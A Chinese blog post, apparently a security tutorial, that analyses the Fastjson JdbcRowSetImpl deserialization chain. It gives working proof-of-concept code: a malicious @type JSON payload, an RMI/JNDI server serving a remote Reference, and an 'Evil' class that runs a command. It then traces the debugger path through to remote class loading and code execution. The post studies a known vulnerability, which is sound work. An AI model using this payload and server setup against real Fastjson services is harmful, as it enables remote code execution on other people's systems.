当前位置: 首页 > news >正文

Fastjson利用链JdbcRowSetImpl分析

首先创建客户端

package com.yq1ng.vul;import com.alibaba.fastjson.JSON;/*** FastJsonTest** @author yq1ng* @date 2021/12/29 19:45* @since 1.0.0*/
public class FastJsonTest {public static void main(String[] args) {String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";JSON.parse(ser);}
}

然后是jndi服务端

package com.yq1ng.vul;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** RMIServer** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Evil", referenceWrapper);System.out.println("Server is running...");}
}

接着是恶意类,注意这个恶意类不能带有包名,也就是package

import java.io.IOException;/*** Evil** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class Evil {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080

然后启动jndi服务,启动客户端即可

漏洞分析

poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()setAutoCommit()

deserialze后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()

这里默认的dataSource是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()

这里conn为空,所以进行获取,这里形参也解释了为什么payload的autoCommittrue。跟进this.connect()

首先初始化上下文,然后开始找传入的rmi类

继续跟

首先看getRootURLContext(),全局查找的话会有四个类去调用

这里会根据不同协议去调用不同的getRootURLContext(),这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()

这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回

继续跟

首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()

这里将构造的Reference赋值给var3,然后跟进NamingManager.java#getObjectInstance()

到这里跟进getObjectFactoryFromReference()

先从本地尝试加载Evil,如果不存在继续往下看

本地不存在的话就会尝试从codebase中加载class

什么是codebase?以下内容摘自:Java-RMI

codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

跟进helper.loadClass()

这里通过URLClassLoader进行加载类。最后进行实例化,导致rce

相关文章:

  • 多维数据助力企业网络安全
  • 2025年最新基于Vue基础项目Todolist任务编辑器【适合新手入手】【有这一片足够了】【附源码】
  • 基于 SpringBoot + Vue 的海滨体育馆管理系统设计与实现
  • Gmsh 代码深度解析与应用实例
  • 【数据架构04】数据湖架构篇
  • PCIe学习笔记(3)链路初始化和训练
  • 如何制作令人印象深刻的UI设计?
  • socc 19 echash论文部分解读
  • debian搭建ceph记录(接入libvirt)
  • 了解Android studio 初学者零基础推荐(3)
  • 行贿罪案件(公安侦查阶段)询问笔录发问提纲
  • 高校外卖小程序,怎么落地实践?
  • Java内存管理:堆和栈的概念和运行原理
  • JavaScript关键字完全解析:从入门到精通
  • Oracle查看SQL执行计划的方法
  • 深入理解SummaryWriter类与TensorBoard的基本使用
  • 数据结构 -- 交换排序(冒泡排序和快速排序)
  • ES6 哈希数据结构
  • OceanBase 共享存储:云原生数据库的存储
  • 设计模式-行为型模式(详解)
  • 泉州市城乡和建设网站/百度云官网
  • 福建省住房和城乡建设厅网站首页/简单的个人主页网站制作
  • 做电商网站注意什么/百度宣传推广费用
  • 有哪些好的网页设计/优化设计全部答案
  • 网站建设设计原则/知乎软文推广
  • 真人做爰视频网站免费/杭州网站优化方案